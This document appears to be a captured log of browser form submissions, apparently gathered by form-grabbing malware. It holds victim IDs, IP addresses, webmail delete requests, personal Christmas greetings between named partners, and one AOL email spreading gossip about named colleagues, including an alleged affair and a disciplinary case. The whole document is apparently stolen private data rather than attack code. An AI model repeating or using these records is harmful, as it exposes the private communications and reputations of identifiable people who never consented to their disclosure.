    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=741&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=740&PREV_MSG=742&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D741%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=740&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=739&PREV_MSG=741&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D740%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=739&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=738&PREV_MSG=740&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D739%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=738&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=737&PREV_MSG=739&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D738%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=737&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=736&PREV_MSG=738&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D737%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=736&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=735&PREV_MSG=737&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D736%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=735&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=734&PREV_MSG=770&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D735%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=734&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=733&PREV_MSG=735&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D734%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=733&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=732&PREV_MSG=734&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D733%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=732&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=731&PREV_MSG=733&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D732%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=731&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=730&PREV_MSG=732&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D731%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=730&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=729&PREV_MSG=731&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D730%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=729&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=728&PREV_MSG=730&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D729%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=728&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=727&PREV_MSG=729&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D728%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=727&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=726&PREV_MSG=728&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D727%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=726&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=725&PREV_MSG=727&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D726%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=725&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=724&PREV_MSG=726&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D725%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=724&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=723&PREV_MSG=725&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D724%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=723&IDMSG=722&uids=723&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=722&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=721&PREV_MSG=723&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D722%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=721&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=720&PREV_MSG=722&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D721%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=720&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=719&PREV_MSG=721&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D720%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=719&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=718&PREV_MSG=720&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D719%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=718&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=717&PREV_MSG=719&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D718%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=717&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=716&PREV_MSG=718&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D717%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=716&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=715&PREV_MSG=717&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D716%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=715&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=714&PREV_MSG=716&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D715%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=714&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=713&PREV_MSG=715&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D714%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=713&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=712&PREV_MSG=714&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D713%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=712&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=711&PREV_MSG=723&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D712%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=711&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=710&PREV_MSG=712&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D711%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=Tchibo.co.uk - A new experience every week - Microsoft Internet Explorer URL=http://vhost.oddcast.com/admin/tts/tts.php?rand=0.175126276444644 data: domain=movie%2Etchibo%2Eco%2Euk&acc=18186&refNum=1&text=Merry%2520Christmas%2520to%2520my%2520wonderful%2520Husband%252Dto%252Dbe%2520Kenny%2520Love%2520you%2520always%2520Debby%2520xxxx&lang=1&voice=6&engine=1&ai=0&cacheIt=&botid=0&origin=flash
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=Tchibo.co.uk - A new experience every week - Microsoft Internet Explorer URL=http://vhost.oddcast.com/admin/tts/tts.php?rand=0.120024583302438 data: domain=movie%2Etchibo%2Eco%2Euk&acc=18186&refNum=1&text=Merry%2520Christmas%2520to%2520my%2520wonderful%2520Husband%252Dto%252Dbe%2520Kenny%2520Love%2520you%2520always%2520Debby%2520xxxx&lang=1&voice=6&engine=1&ai=0&cacheIt=&botid=0&origin=flash
    ID=6E0F88F69B462F09 IP=81.168.54.79 title=http://aolmail.aol.co.uk - AOL.co.uk | Write an Email - Microsoft Internet Explorer URL=http://aolmail.aol.co.uk/compose.adp data: cmd=sendmail&cmdnum=337430&mailBcc=&xaoluid=&ea_opener=&dig=0&attCount=0&attName=&attInfo=&attPath=&mailTo=+%28Peter+Scott%29&mailCc=&mailSubject=Re%3A+VHG&mailBody=We+should+probably+get+together+with+John+and+try+and+cheer+him+up+one+lunch+time.+Sean+said+he+is+absolutely+positive+John+is+being+used+and+that+whatever+happens+they+will+want+the+post+based+in+London.%0D%0A%0D%0AHe+also+said+%2C+Rosemary+hates+Mark+%28+well+you+told+me+that%29+Howard+Cresswell+hates+him+to+and+expects+to+be+pushed+within+the+year+if+he+doesn%27t+jump+ship+first.+Only+stayed+to+add+the+CA+bit+to+his+CV.%0D%0ADid+I+tell+you+John+Mc+Farlane+has+been+disciplined+because+he+has+had+an+affair+with+a+memeber+of+staff.+She+has+had+to+be+moved+and+he+also+doesn%27t+like+Mark.++Bodes+well.+Also+Caroline+said+that+Peter+Dixon%2C+with+whom+she+had+lunch+in+London+on+7.7.+Is+not+very+happy+about+the+CA+merger%2C+he+thinks+that+it+doesn%27t+demonstrate+enough+savings+even+if+they+save+in+excess+of+%C2%A35mill%2C+and+he%27s+not+sure+Marks+up+to+the+job+either.....%0D%0A%0D%0AAnyway+don%27t+care+%2C+speak+to+you+soon+and+will+keep+the+25th+free.%0D%0A%0D%0AK
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=Tchibo.co.uk - A new experience every week - Microsoft Internet Explorer URL=http://vhost.oddcast.com/admin/tts/tts.php?rand=0.86232155514881 data: domain=movie%2Etchibo%2Eco%2Euk&acc=18186&refNum=1&text=Thank%2520You%2520Darling%2520Wife%2520to%2520be%2520%250DLove%2520You%2520Too%2520Kenny%2520X%2520X%2520X%2520X%2520&lang=1&voice=5&engine=1&ai=0&cacheIt=&botid=0&origin=flash
